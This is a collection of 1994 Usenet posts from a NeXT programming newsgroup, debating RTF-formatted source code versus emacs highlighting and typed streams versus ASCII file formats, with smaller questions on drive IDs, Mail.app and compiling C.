Newsgroups: comp.sys.next.programmer From: gsl@netcom.com (Greg Lindholm) Subject: Re: Hard Drive Information Message-ID: <gslCK0s5F.MKs@netcom.com> Organization: NETCOM On-line Communication Services (408 241-9760 guest) References: <2gujns$ga9@bigguy.eng.ufl.edu> Date: Sat, 22 Jan 1994 07:15:15 GMT David Samson (david@nd.com) wrote: : Does anyone know how to read drive IDs from either IDE or SCSI drives? : I've read a brochure from a company that makes copy protection software : for NeXTSTEP/Intel. They claim to be using a unique serial number from : the drive. Is this possible? I've done this from MS-DOS, each drive is given a "unique" timestamp based number when it is formatted. I've used this number as a machine id for generating a license key. I have no idea if this is available or how to get it from NEXTSTEP. gsl@netcom.com Greg Lindholm
Newsgroups: comp.sys.next.programmer From: gsl@netcom.com (Greg Lindholm) Subject: Re: How to control Mail.app from other apps Message-ID: <gslCK0sJx.34@netcom.com> Organization: NETCOM On-line Communication Services (408 241-9760 guest) References: <1994Jan14.165005.558@westwerk.cube.de> Date: Sat, 22 Jan 1994 07:23:57 GMT Michael Burgstahler (mburg@westwerk.cube.de) wrote: : Maybe this is FAQ but I couldn t find any documentation about this simple task: : Is there a simple analogon to the Workspace Request protocol in Mail.app ? : I m trying to program a simple service in my app which has to generate a : compose window in Mail by delivering some RTF text. : Does anybody know where to look ? : Thanks ! Try down loading the source for Opener.app from cs.orst.edu:/pub/next/binaries/util/Opener.* there is a "Suggest" button on the "info" menu which does this. gsl@netcom.com Greg Lindholm
Newsgroups: comp.sys.next.programmer From: gsl@netcom.com (Greg Lindholm) Subject: Compiling K&R C on NSI Message-ID: <gslCK0tEC.1CK@netcom.com> Organization: NETCOM On-line Communication Services (408 241-9760 guest) Date: Sat, 22 Jan 1994 07:42:11 GMT I'm trying to build some C programs on NS/FIP which build cleanly on AIX, OSF/1, SUN, HP/UX and others. There non-quite "ANSI-C". I've tried: cc -traditional -arch i386 test.c and get: /NextDeveloper/Headers/ansi/machine/stddef.h:11: `#include' expects "fname" or <fname> This gets include from: #include <string.h> The offending line in stddef.h is: #include ARCH_INCLUDE(ansi/, stddef.h) Any help is greatly appreciated. TIA Greg Lindholm gsl@netcom.com
Newsgroups: comp.sys.next.programmer From: dse@cbnewsi.cb.att.com (donald.s.eaves) Subject: OO Development Tools BOF meeting at DC Conference. Topics request Organization: AT&T Distribution: usa Date: Sat, 22 Jan 1994 04:10:40 GMT Message-ID: <CK0JLz.99w@cbnewsi.cb.att.com> I'm moderating a BOF meeting on Object-Oriented Development Tools at the DC conference, and I'd appreciate any input on possible topics. I can also email you the proceedings if you are interested. If you have input, please send email to deaves@hypersignt.com, with the subject "Topic: <title>" or "Proceedings Req". The meeting Date/time is: Tuesday January 25, 6:30pm Thanks, Don
From: M.Crawford@dcs.shef.ac.uk (Malcolm Crawford) Newsgroups: comp.sys.next.programmer Subject: playing selections from Sounds Date: 22 Jan 1994 09:41:24 -0600 Organization: UTexas Mail-to-News Gateway Sender: daemon@cs.utexas.edu Message-ID: <9401221542.AA17330@dcs.shef.ac.uk> Is there a simple function to play a subset of a Sound?(!) The only ways I can find are (a) copy the relevant samples to a new Sound and play that (seems fast enough, but...), or (b) create a dummy sound and set its data structure to point to the original Sound's data (don't want to try this one, it seems to easy to wipe the data when free-ing the temporary data). Surely there's a better way? Have fun, mmalcolm.
From: M.Crawford@dcs.shef.ac.uk (Malcolm Crawford) Newsgroups: comp.sys.next.programmer Subject: highlighting / ScrollViews Date: 22 Jan 1994 13:42:25 -0600 Organization: UTexas Mail-to-News Gateway Sender: daemon@cs.utexas.edu Message-ID: <9401221943.AA17727@dcs.shef.ac.uk> I've figured out highlighting easily enough (NXHighlightRect()). Problem: what do you do when the bit you've highlighted is in a View in a ScrollView? When the user scrolls, the highlighted bit (unsurprisingly) disappears. I presume that I should have the highlighted (highlit?!) rect stored as an instance variable, and in drawSelf:: draw appropriate bits of it? Or is there a better way? ScrollViews are fairly straightforward too, but when you come to mix them with selecting highlighting it seems to get a bit tricky... what's the best way of extending a selection as the user moves the mouse outside of the ClipView... Suggestions and code fragments very welcome. Sorry if it appears I'm being lazy here, it's rather that I wouldn't mind a bit of a boost: this is for a low-priority bit of s/w that I would just rather do and do properly 'cos it would be kinda cute... Have fun, mmalcolm.
Newsgroups: comp.sys.next.programmer From: joe@FreemanSoft.com (Joe Freeman) Subject: Re: Rich Text Source Code?! Message-ID: <1994Jan22.220020.613@FreemanSoft.com> Sender: jfreeman@FreemanSoft.com Organization: FreemanSoft Inc. References: <2hjl9q$cid@darkstar.UCSC.EDU> Date: Sat, 22 Jan 1994 22:00:20 GMT In article <2hjl9q$cid@darkstar.UCSC.EDU> art@cubicsol.com (Art Isbell) writes: > I just saw a Microsoft Visual Basic editor the other day which worked > similarly. But the way it worked wasn't to change the source code by > adding all the RTF directives. Instead, the editor itself had all the > smarts. It knows about language key words, syntax, and other language > features so the source code doesn't have to be altered. This is what I'd > like to see happen with Edit. But emacs is the user-extensible editor, so > adding the smarts to emacs might be doable, although not trivial. I agree 100%. It seems totally ridiculous that NeXT would support RTF source in this manner. Now, every programmer gets to insert rtf directives into their source, manually. Of course this breaks most external tools with little added value. What most people probably want (note the qualification so I don't get clobbered) is an editor that that displays all the different types of source code information, comments, keywords, vars..., in different formats. The editor should do this for the user. Then all the source code would be displayed that way. Not just the source code that an idividual programmer modified. The whole rtf source implementation has the feel of a hack done for a customer that beat up NeXT. It looks like they got what they asked for. but, not what they wanted, if they had thought about it. -- Joe Freeman FreemanSoft Inc. A NEXTSTEP software and consulting services company. Electronic Mail: Joe@FreemanSoft.com (NeXT Mail) Voice: 919.783.7033
Newsgroups: comp.sys.next.programmer From: cedman@princeton.edu (Carl Edman) Subject: Re: Rich Text Source Code?! In-Reply-To: alex@cs.umd.edu's message of Fri, 21 Jan 1994 14:21:24 GMT To: alex@cs.umd.edu (Alex Blakemore) Message-ID: <CEDMAN.94Jan22104717@capitalist.princeton.edu> Originator: news@nimaster Sender: news@Princeton.EDU (USENET News System) Organization: Princeton University References: <CEDMAN.94Jan19194738@capitalist.princeton.edu> <CJzH7o.2F2@genoa.com> Date: Sat, 22 Jan 1994 15:47:16 GMT In article <CJzH7o.2F2@genoa.com> alex@cs.umd.edu (Alex Blakemore) writes: Carl Edman writes > If you have emacs 19 for NeXTstep (or run emacs 19 under one of the X > emulators) you can see all the bold/italic/underline/colors on your > NeXT right now. but didnt the person(s) who ported emacs 19 to NEXTSTEP refuse to release it? Wasn't that you? If so, please release your source with no warranty or stop teasing us. Oh my. There one goes without reading c.s.n.p for a day and whole threads passes one by. Here is the straight dope on emacs 19 for NS: It exists. It works just fine and a lot of people (including myself) have used it as their standard editor for three or four months. (As a matter of fact, I'm posting this from a GNUS window running under emacs 19 for NS). However, there are still a few features missing which I think are essential before a general release: 1. Scroll bars. There are scroll bars right now but they are rather broken. Fixing them will be non-trivial because the emacs 19 interface to the scroll bar code is relatively easy to implement under the X imaging model, but rather harder under NS. (But this is the only such problem. Despite the fact that the interface was designed for X, we have implemented almost all of it under NS in about 100 kBytes of code vs. over 500 kBytes for the X code). 2. Menus. The plan is to have the contents of the rather clunky X menus under emacs 19 for X appear in pretty NS menus. 3. Services. Cut and paste work just fine but I believe no NS app should not support services. 4. 8 bit character input/output. Essential for the European users, still a hack in Emacs 19 for NS. 5. Documentation. All there is right now is a README.NeXT file which gives new users the essential differences between the X release and the NS release. Due to the combination of the unfortunate circumstances a) that personally I wouldn't use 1., 2., 4. and 5. even if they were implemented and so was somewhat less urgently motivated to add them and b) that professional obligations (i.e. the General Examination in physics which I passed two days ago) have cut the time I have for emacs 19 for NS development during the past two months just about to zero, have caused the long delays in the finishing up of the product. So the dilemma was that I couldn't release an unfinished product, but on the other hand emacs 19 for NS is perfectly usable for most purposes and lots of people were very interested in it. The compromise I made was that I'd add anybody who asked to the beta tester list and tell them about the archive site. That would both get out the code to the people who needed it, allow me some control over the distribution and most importantly would mean that I could inform all users whenever there was a new release (of which there have been six so far). As a consequence the "beta-tester" list has about 100 people on it by now most of whom have never sent in a bug report, but that is fine with me. Unfortunately the site of the beta code was posted to this group, so I suspect that there will be lots of users who are not on the list soon. But I'd still encourage anyone who uses the beta release of emacs 19 for NS to just drop me a note that he got the code and that he'd like to be added to the user list. I hope this clears up this muddled story at least a little. Carl Edman
From: marcus@ursula.ee.pdx.edu (Marcus Daniels) Newsgroups: comp.sys.next.programmer Subject: Re: Rich Text Source Code?! Date: 22 Jan 1994 17:50:52 -0800 Message-ID: <2hsl5s$msr@ursula.ee.pdx.edu> References: <2hjl9q$cid@darkstar.UCSC.EDU> <1994Jan22.220020.613@FreemanSoft.com> joe@FreemanSoft.com (Joe Freeman) writes: >The whole rtf source implementation has the feel of a hack done for a >customer that beat up NeXT. It looks like they got what they asked for. >but, not what they wanted, if they had thought about it. RTF source is the only alternative for a simple editor like Edit. They could do something like Visual Basic, but it wouldn't have enough flexibility to justify piling such single-purpose code into the editor. I want the ability to have arbitrary documents used as source files _and_ the ability to use an appropriate language (like elisp) for adding hilighting features like Stig's-emacs19-hiliit. I, for one, assumed that most NeXT users didn't care about flexibility (e.g. programmable editor) and that having at least filters would be _something_. Simply trying to be realistic... Other peeves: 0. 2.2.2? 1. Why is it necessary to have this weird GCC setup? The hierarchy is different and the cross compilation details are all different from normal GCC. 2. Why is NeXT's CPP imposed on users by default? If you are building projects using Project Builder, its makefiles could be configured to explicitly request each NeXT-specific feature. Or is this part of NeXT's anti-UN*X tradition?
Newsgroups: comp.sys.next.programmer From: luke@research.canon.oz.au (Luke Kendall) Subject: Typed streams are evil Message-ID: <CJr7ux.GM9@research.canon.oz.au> Sender: news@research.canon.oz.au Organization: Canon Information Systems Research Australia Date: Mon, 17 Jan 1994 03:18:32 GMT Actually, my opinion is that you have to think carefully about using typed streams for saving/restoring data (in particular, as your file save format). Advantages: 1) Binary files are smaller. 2) You can read and write them faster. Disadvantages: 1) Any change to any of the data types you're saving means that you won't be able to read your old data files. So if you use any NeXT data types, and their implementation changes in a new release of the system, you'll also be stuffed. Likewise if _you_ change any of _your_ data types. (Sort of defeats the purpose of OO programming, eh?) 2) Any error in your data file will make it unreadable. (Errors can be due to a hardware error, or an error in your software.) Tracking down what caused the error (let alone `repairing' the file by hand) will be extremely tedious, at best. 3) Also, during development, a simple ascii format lets you debug easily, and even test out features of your system even before you have a fancy application to create your files. 4) You can write scripts to report on, edit or create data files if the format is simple ascii. Imagine the things you could do if Interface Builder had a simple ascii file that compiled _into_ .nib files! The desigers of Diagram! realised this, I believe, for version 2. 5) No hardware or compiler architecture problems if you use ascii (like endian-ness, structure padding, alignment...). Sometimes the disadvantages are outweighed by the advantages (e.g. storing bitmap or image data), but that's pretty rare. In my opinion, the NeXT typed stream methods are for lazy people who don't know better. -- Luke Kendall, Senior Software Engineer. | Net: luke@research.canon.oz.au Canon Information Systems Research Australia | Phone: +61 2 805 2982 P.O. Box 313 North Ryde, NSW, Australia 2113 | Fax: +61 2 805 2929
Newsgroups: comp.sys.next.programmer From: greyham@research.canon.oz.au (Graham Stoney) Subject: Re: Rich Text Source Code?! Message-ID: <CJtGE2.844@research.canon.oz.au> Sender: news@research.canon.oz.au Organization: Canon Information Systems Research Australia References: <2hderh$h3f@senator-bedfellow.MIT.EDU> <1994Jan17.180606.19694@sifon.cc.mcgill.ca> Date: Tue, 18 Jan 1994 08:18:01 GMT samurai@amber.hasc.ca (Darcy Brockbank) writes: >NeXT ... don't >let you customize the environment, or the presentation of your >interface at all (compared to X interfaces of course). And I can't tell you how thankful I am for it; the thing I hate most about X, above all else is the rediculous amount of time you have to waste setting it up, configuring it, customizing it etc etc. Whenever I have to use an X system (which is as little as I can possibly help), I always seem to have to edit some obscure .rc file, alter some menu, etc etc, and if you're not a guru, you're behind the 8 ball to start with. Yeech. I could understand a user that has never used anything better than X not noticing how much time they waste customizing it; but it really is time down the drain. X is a system written by gurus, for gurus. If you're not a guru (which is quite likely, since real gurus are vastly outnumbered by "ordinary" users), and getting your work done is more important than playing games with your window manager, it's a pain in the butt. I used to think X was the best thing since sliced bread. I've learnt a few things since then. regards, Graham -- Graham Stoney, Hardware/Software Engineer Canon Information Systems Research Australia Ph: + 61 2 805 2909 Fax: + 61 2 805 2929
From: gad@eclipse.its.rpi.edu (Garance A. Drosehn) Newsgroups: comp.sys.next.programmer Subject: Re: Rich Text Source Code?! Date: 23 Jan 1994 03:24:56 GMT Organization: Rensselaer Polytechnic Institute, Troy NY, USA Distribution: world Message-ID: <2hsqm8$ajp@usenet.rpi.edu> References: <1994Jan22.220020.613@FreemanSoft.com> joe@FreemanSoft.com (Joe Freeman) writes: > art@cubicsol.com (Art Isbell) writes: > > I just saw a Microsoft Visual Basic editor the other day > > which worked similarly. But the way it worked wasn't to > > change the source code by adding all the RTF directives. > > Instead, the editor itself had all the smarts. It knows about > > language key words, syntax, and other language features so the > > source code doesn't have to be altered. This is what I'd like > > to see happen with Edit. But emacs is the user-extensible > > editor, so adding the smarts to emacs might be doable, although > > not trivial. > > I agree 100%. It seems totally ridiculous that NeXT would support > RTF source in this manner. Now, every programmer gets to insert rtf > directives into their source, manually. I disagree, but with a proviso. Adding the smarts to the editor (like emacs) is useful for in many circumstances, and is a more general solution. On the other hand, allowing RTF source is an advantage if you want to produce documentation (like manuals) which includes your source. You can have the same control over appearance that you have with RTF, and without implementing 8-million little knobs on the editor. In short, RTF source code is for a different purpose than the automatic C-mode in emacs is. If what the developer wants is real RTF capability, then what NeXT did is useful. The proviso is that I expect most programmers don't want or need RTF capability. All they want is the automatic smarts when displaying source code, because they want to know where the comments *really* are, and not where they *think* the comments are. RTF support is not helpful for programming per se, it's helpful when producing documentation which needs to include program code. Most of us would rather have a tool that helps us with the programming itself, but that doesn't mean that RTF source code is a bad idea for all purposes. -- Garance Alistair Drosehn = gad@eclipse.its.rpi.edu ITS Systems Programmer (handles NeXT-type mail) Rensselaer Polytechnic Institute; Troy NY USA
From: Lee_Robert_Willis@cup.portal.com Newsgroups: comp.sys.next.programmer Subject: Re: Rich Text Source Code?! Message-ID: <101841@cup.portal.com> Date: Sat, 22 Jan 94 19:06:36 PST Organization: The Portal System (TM) References: <CJtH7t.A70@pdh.com> <2hjl9q$cid@darkstar.UCSC.EDU> <CEDMAN.94Jan19194738@capitalist.princeton.edu> <2hp05e$6i5@ursula.ee.pdx.edu> >I think Emacs' `parsing' hilighter is more sensible than RTF source. > >Other than RTF-links (of dubious value, IMHO), is there anything of >code-maintenance value that can only be acheived by a rich format? Diagrams diagrams diagrams. I don't know how often I've wished for the capability to imbed a drawing in the source code, so I'll never again have to construct pictures out of pluses and hyphens. Lee Lee_Robert_Willis@cup.portal.com
From: silbar@cantina.lanl.gov (Dick Silbar) Newsgroups: comp.sys.next.programmer Subject: Re: A "separator error" in common.make? -- SOLVED Date: 22 Jan 1994 22:47:06 -0600 Organization: UTexas Mail-to-News Gateway Sender: daemon@cs.utexas.edu Message-ID: <9401230445.AA04195@cantina.lanl.gov> Yesterday I posted the following: > I have been trying to build a very simple App that > mostly consists of things dragged in from the IB > palette. I get the following error: > > Make: /NextDeveloper/Makefiles/app/common.make: Must > be a separator on line 333. Stop. > > ...[munch]... It turns out that the reason for the error is that the directory I created the PB.project in was named "Waist&Drift". The ampersand is the problem. The PB accepts that, but (somehow) the Makefile does not. Deleting the project, renaming the directory to "WaistAndDrift", and starting over with a new PB.project cured the problem. Dick Silbar WhistleSoft, Inc.
Newsgroups: comp.sys.next.programmer From: wave@media.mit.edu (Michael B. Johnson) Subject: Re: Typed streams are evil Message-ID: <1994Jan23.044605.8622@news.media.mit.edu> Sender: news@news.media.mit.edu (USENET News System) Organization: MIT Media Laboratory References: <CJr7ux.GM9@research.canon.oz.au> Date: Sun, 23 Jan 1994 04:46:05 GMT In article <CJr7ux.GM9@research.canon.oz.au> luke@research.canon.oz.au (Luke Kendall) writes: >>Actually, my opinion is that you have to think carefully about using >>typed streams for saving/restoring data (in particular, as your file >>save format). >> >>Advantages: >> 1) Binary files are smaller. >> >> 2) You can read and write them faster. >> >>Disadvantages: >> 1) Any change to any of the data types you're saving means >> that you won't be able to read your old data files. So >> if you use any NeXT data types, and their implementation >> changes in a new release of the system, you'll also be stuffed. >> Likewise if _you_ change any of _your_ data types. >> (Sort of defeats the purpose of OO programming, eh?) >> Uh, y'all ever heard of versioning? Take look at the code in (say) my WavesWorld palettes; I think the WW3DCamera is up to version 8, and I still have nib files around with version 3 and 4 WW3DCameras in them. Only a moron (or a really lazy hobbyist programmer) doesn't use versioning in their objects... << a bunch of other lame-o reasons for not using typed streams >> >>Sometimes the disadvantages are outweighed by the advantages (e.g. >>storing bitmap or image data), but that's pretty rare. In my opinion, >>the NeXT typed stream methods are for lazy people who don't know better. Oh boy. (deep breath, count to 10.9.8.7.6.5.4.3.2.1...) No, they're for people who have a clue how to program NS, and aren't afraid to think a bit about useful tools, and don't have their heads wedged totally err, in the sand... Typed streams might have problems, but you haven't pointed any of them out, just your ignorance of what they're good for. jeez... -- --> Michael B. Johnson -- wave@media.mit.edu --> MIT Media Lab -- Computer Graphics & Animation Group --> 20 Ames St. E15-023G -- (617) 547-0563 (day office) --> Cambridge, MA 02139 -- (617) 253-0663 (night office)
Newsgroups: comp.sys.next.programmer From: wave@media.mit.edu (Michael B. Johnson) Subject: Re: Rich Text Source Code?! Message-ID: <1994Jan23.045101.8749@news.media.mit.edu> Sender: news@news.media.mit.edu (USENET News System) Organization: MIT Media Laboratory References: <1994Jan22.220020.613@FreemanSoft.com> <2hsqm8$ajp@usenet.rpi.edu> Date: Sun, 23 Jan 1994 04:51:01 GMT First off, let me say that I don't use RTF source code, mainly because I use emacs. But, I have some uses for rtf code that can't be handled by having a editor mode that knows how to display program parts in particular way. To be precise: I need pictures in my source. For two things that I spend a lot of time on, namely writing RenderMan shaders and models that eventually get turned into RIB code, being able to embed pictures is invaluable. I did this last year when Mike Hawley released his rtf-utilities. I just changed the "shader" script to run the shader source file through Mike's rtf filter,and voila; I had rtfd support for shader source code. Very spiff... -- --> Michael B. Johnson -- wave@media.mit.edu --> MIT Media Lab -- Computer Graphics & Animation Group --> 20 Ames St. E15-023G -- (617) 547-0563 (day office) --> Cambridge, MA 02139 -- (617) 253-0663 (night office)
From: Charles William Swiger <infidel+@CMU.EDU> Newsgroups: comp.sys.next.programmer Subject: Re: Hard Drive Information Date: Sat, 22 Jan 1994 20:32:57 -0500 Organization: Fifth yr. senior, Chemistry, Carnegie Mellon, Pittsburgh, PA Message-ID: <khERD9W00iV1E6p0ol@andrew.cmu.edu> In-Reply-To: <gslCK0s5F.MKs@netcom.com> Excerpts from netnews.comp.sys.next.programmer: 22-Jan-94 Re: Hard Drive Information by Greg Lindholm@netcom.com > : I've read a brochure from a company that makes copy protection software > : for NeXTSTEP/Intel. They claim to be using a unique serial number from > : the drive. Is this possible? > > I've done this from MS-DOS, each drive is given a "unique" timestamp based > number when it is formatted. I've used this number as a machine id for > generating a license key. I have no idea if this is available or how > to get it from NEXTSTEP. Why bother? The gethostid() call is secure enough for normal use; anyone who knows enough to patch their kernel to dodge this knows enough to crack other forms of protection, anyway. -Chuck Charles William Swiger - WhiteLight Systems --------------------------------------------+ AMS & normal mail: infidel@cmu.edu | 1. You can't fly. Failing that: cs4w+@andrew.cmu.edu | 2. Cars are always real. NeXTmail: chuck@cswiger.slip.andrew.cmu.edu | 3. Police are not your friends. --------------------------------------------+ 4. Fire burns.
From: zmonster@ATHENA.MIT.EDU (Eric M Hermanson) Newsgroups: comp.sys.next.programmer Subject: Re: Rich Text Source Code?! Date: 23 Jan 1994 08:42:58 GMT Organization: Massachusetts Institute of Technology Message-ID: <2htdai$qo5@senator-bedfellow.MIT.EDU> References: <2hjl9q$cid@darkstar.UCSC.EDU> <1994Jan22.220020.613@FreemanSoft.com> In article <1994Jan22.220020.613@FreemanSoft.com> joe@FreemanSoft.com writes: >I agree 100%. It seems totally ridiculous that NeXT would support RTF >source in this manner. Now, every programmer gets to insert rtf >directives into their source, manually. Of course this breaks most >external tools with little added value. What most people probably want >(note the qualification so I don't get clobbered) is an editor that that >displays all the different types of source code information, comments, >The whole rtf source implementation has the feel of a hack done for a >customer that beat up NeXT. It looks like they got what they asked for. >but, not what they wanted, if they had thought about it. Now hold on... I prefer to use Edit, not emacs. If I want to, I guess I could download emacs-19 and get the above type of functionality. But I prefer to be able to format my source code the way I want it to look. I can highlight important parts in a given color, choose the font that I want, link informational files to the source, and even include pictures to help others understand my programming. I am grateful for RTF support in the NeXT compiler. True, NeXT could implement automatic formatting of source, but it looks like they are leaving that to the "emacs" people. I think RTF support is a unique and helpful feature. Eric
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: Typed streams are evil Date: 23 Jan 1994 13:23:08 -0000 Organization: me organized? That's a joke! Message-ID: <2httns$98@steffi.demon.co.uk> References: <CJr7ux.GM9@research.canon.oz.au> luke@research.canon.oz.au (Luke Kendall) wrote >Actually, my opinion is that you have to think carefully about using >typed streams for saving/restoring data (in particular, as your file >save format). > >Advantages: > 1) Binary files are smaller. > > 2) You can read and write them faster. > >Disadvantages: > 1) Any change to any of the data types you're saving means > that you won't be able to read your old data files. So > if you use any NeXT data types, and their implementation > changes in a new release of the system, you'll also be stuffed. > Likewise if _you_ change any of _your_ data types. > (Sort of defeats the purpose of OO programming, eh?) Ever heard of versioning? > > 2) Any error in your data file will make it unreadable. (Errors > can be due to a hardware error, or an error in your software.) > Tracking down what caused the error (let alone `repairing' > the file by hand) will be extremely tedious, at best. Ever heard of exception handling? > > 3) Also, during development, a simple ascii format lets you debug > easily, and even test out features of your system even before > you have a fancy application to create your files. Ascii is appropriate when you are doing nasty stuff like attampting to save windows and views etc. It's simply not necessary to save "graphical" objects and you should only save the necessary information in order to reconstruct these objects "by hand" yourself from the data written in the file. There's been too many war stories about people attempting to save windows and their views using TypedStreams and regretting it latter for doing so. Just about every document based NeXTSTEP application uses TypedStreams. So long as they are used correctly and appropriately I see nothing wrong with them. > > 4) You can write scripts to report on, edit or create data files if > the format is simple ascii. Imagine the things you could do if > Interface Builder had a simple ascii file that compiled _into_ > .nib files! > The desigers of Diagram! realised this, I believe, for version 2. True. > > 5) No hardware or compiler architecture problems if you use ascii > (like endian-ness, structure padding, alignment...). True. Ditto if you used TypedStreams correctly and are aware of their limitations. > >Sometimes the disadvantages are outweighed by the advantages (e.g. >storing bitmap or image data), but that's pretty rare. In my opinion, >the NeXT typed stream methods are for lazy people who don't know better. Hmmm, I see no reason why you cannot use TypedStreams to save simple types. >-- >Luke Kendall, Senior Software Engineer. | Net: luke@research.canon.oz.au >Canon Information Systems Research Australia | Phone: +61 2 805 2982 >P.O. Box 313 North Ryde, NSW, Australia 2113 | Fax: +61 2 805 2929 -- "You know what's wrong with you?" (Audrey Hepburn, Cary Grant) "Nothing" Charade, 1963 robert@steffi.demon.co.uk (ASCII for text only messages)
Newsgroups: comp.sys.next.programmer From: joe@FreemanSoft.com (Joe Freeman) Subject: Re: Rich Text Source Code?! Message-ID: <1994Jan23.141958.1603@FreemanSoft.com> Sender: jfreeman@FreemanSoft.com Organization: FreemanSoft Inc. References: <2hsl5s$msr@ursula.ee.pdx.edu> Distribution: usa Date: Sun, 23 Jan 1994 14:19:58 GMT In article <2hsl5s$msr@ursula.ee.pdx.edu> marcus@ursula.ee.pdx.edu (Marcus Daniels) writes: > joe@FreemanSoft.com (Joe Freeman) writes: > > >The whole rtf source implementation has the feel of a hack done for a > >customer that beat up NeXT. It looks like they got what they asked for. > >but, not what they wanted, if they had thought about it. > > RTF source is the only alternative for a simple editor like Edit. > They could do something like Visual Basic, but it wouldn't have enough > flexibility to justify piling such single-purpose code into the editor. I got thumped multiple times on this one but like someone under the influence, I'll just keep staggering around. There are already some features in Edit that could be considered C code specific. ie: structure crunching , paren matching and indentation. -- Joe Freeman FreemanSoft Inc. A NEXTSTEP software and consulting services company. Electronic Mail: Joe@FreemanSoft.com (NeXT Mail) Voice: 919.783.7033
Newsgroups: comp.sys.next.programmer From: joe@FreemanSoft.com (Joe Freeman) Subject: Re: Rich Text Source Code?! Message-ID: <1994Jan23.142532.1660@FreemanSoft.com> Sender: jfreeman@FreemanSoft.com Organization: FreemanSoft Inc. References: <2hsqm8$ajp@usenet.rpi.edu> Date: Sun, 23 Jan 1994 14:25:32 GMT In article <2hsqm8$ajp@usenet.rpi.edu> gad@eclipse.its.rpi.edu (Garance A. Drosehn) writes: > > Adding the smarts to the editor (like emacs) is useful for in many > circumstances, and is a more general solution. On the other hand, > allowing RTF source is an advantage if you want to produce > documentation (like manuals) which includes your source. You can > have the same control over appearance that you have with RTF, and > without implementing 8-million little knobs on the editor. Yup that makes sense. But, the same objects that are used by the Editor could be used by the documentation generator. That is the great thing about this object stuff. Once done, in theory, it doesn't have to be done again. You never know, but the CPP style front end that did the the RTF highlighting might have to work on some kind of continuous manner. Kind of like an interpreter. Doing documentation in the source is probably no problem for a small developer. But, I wouldn't want each member of a team of 10-100 developers all coding to the company RTF specifications. Its hard enough to get them to meet class/object and structure guidlines. The whole point of having tools is to shave programmer work. > In short, RTF source code is for a different purpose than the > automatic C-mode in emacs is. Probably true. But, it doesn't have to be. If what the developer wants is -- Joe Freeman FreemanSoft Inc. A NEXTSTEP software and consulting services company. Electronic Mail: Joe@FreemanSoft.com (NeXT Mail) Voice: 919.783.7033
Newsgroups: comp.sys.next.programmer From: joe@FreemanSoft.com (Joe Freeman) Subject: Re: Rich Text Source Code?! Message-ID: <1994Jan23.142818.1717@FreemanSoft.com> Sender: jfreeman@FreemanSoft.com Organization: FreemanSoft Inc. References: <1994Jan23.045101.8749@news.media.mit.edu> Distribution: usa Date: Sun, 23 Jan 1994 14:28:18 GMT In article <1994Jan23.045101.8749@news.media.mit.edu> wave@media.mit.edu (Michael B. Johnson) writes: > First off, let me say that I don't use RTF source code, mainly because > I use emacs. > > But, I have some uses for rtf code that can't be handled by having a > editor mode that knows how to display program parts in particular way. > To be precise: I need pictures in my source. Good point. It would be pretty hard to duplicate that with a smart editor. Lets say that you want to edit the source on the HP under PDO. Of course Edit doesn't run there. Now, you can't edit your RTF source there. Yes, I know that is what NFS is for. But, I've run into situations where that isn't available. -- Joe Freeman FreemanSoft Inc. A NEXTSTEP software and consulting services company. Electronic Mail: Joe@FreemanSoft.com (NeXT Mail) Voice: 919.783.7033
Newsgroups: comp.sys.next.programmer From: joe@FreemanSoft.com (Joe Freeman) Subject: Re: Rich Text Source Code?! Message-ID: <1994Jan23.143311.1780@FreemanSoft.com> Sender: jfreeman@FreemanSoft.com Organization: FreemanSoft Inc. References: <2htdai$qo5@senator-bedfellow.MIT.EDU> Distribution: usa Date: Sun, 23 Jan 1994 14:33:11 GMT In article <2htdai$qo5@senator-bedfellow.MIT.EDU> zmonster@ATHENA.MIT.EDU (Eric M Hermanson) writes: > In article <1994Jan22.220020.613@FreemanSoft.com> joe@FreemanSoft.com writes: > > Now hold on... I prefer to use Edit, not emacs. If I want to, I guess > I could download emacs-19 and get the above type of functionality. But > I prefer to be able to format my source code the way I want it to look. > I can highlight important parts in a given color, choose the font that I > want, link informational files to the source, and even include pictures > to help others understand my programming. I am grateful for RTF support > in the NeXT compiler. True, NeXT could implement automatic formatting > of source, but it looks like they are leaving that to the "emacs" > people. I think RTF support is a unique and helpful feature. This , formatting it all by hand is probably good for the single programmer, small team kind of development efforts. Most companies want standards for coding practices. I submit that font/color specifications are a pain and unnecessary to get the type of highlighting functionallity that most programmers are looking for. There is no reason that the Editor couldn't print the source either with RTF on or off. This notion that you would link pictures and documentation into the source is kind of cool. Of course it locks in the path locations of the alternate portions of the source. I don'd know about you, but it is not uncommon to move portions of a product directory to different locations and places in the development hiearchy either as part of normal operations or during some kind of porting operation. This linking fuction could be a bit of a problem. -- Joe Freeman FreemanSoft Inc. A NEXTSTEP software and consulting services company. Electronic Mail: Joe@FreemanSoft.com (NeXT Mail) Voice: 919.783.7033
Newsgroups: comp.sys.next.programmer From: samurai@amber.hasc.ca (Darcy Brockbank) Subject: Re: Rich Text Source Code?! Message-ID: <1994Jan23.163304.3968@sifon.cc.mcgill.ca> Sender: news@sifon.cc.mcgill.ca Organization: McGill University References: <CJtGE2.844@research.canon.oz.au> Date: Sun, 23 Jan 1994 16:33:04 GMT In article <CJtGE2.844@research.canon.oz.au> greyham@research.canon.oz.au (Graham Stoney) writes: > samurai@amber.hasc.ca (Darcy Brockbank) writes: > >NeXT ... don't > >let you customize the environment, or the presentation of your > >interface at all (compared to X interfaces of course). > And I can't tell you how thankful I am for it; the thing I hate most about X, > above all else is the rediculous amount of time you have to waste setting it I am too... that wasn't my point. My point was that the NS interface is inflexible (in that it cannot be customized), and so I find it surprising that they chose to let the source code formatting demons in from the nethermost depths of programming hell. As for where I stand on the issues, I like the NS interface as-is. I think a good interface shouldn't need too much customization. As well, I think the editor should handle formatting issues, instead of embedded RTF. Anyway, as long as we have rtf-ascii on the system, I can always fix things... - db -- But this one flack, speaking valiantly to the press in the moments after the Hindenburg of Canadian electoral crashes, was adamant that Canadians [...] had offered the Tories (get this) an "opportunity". An opportunity to feel stupid and unwanted? -- Montreal Mirror on the Tories losing 156 seats
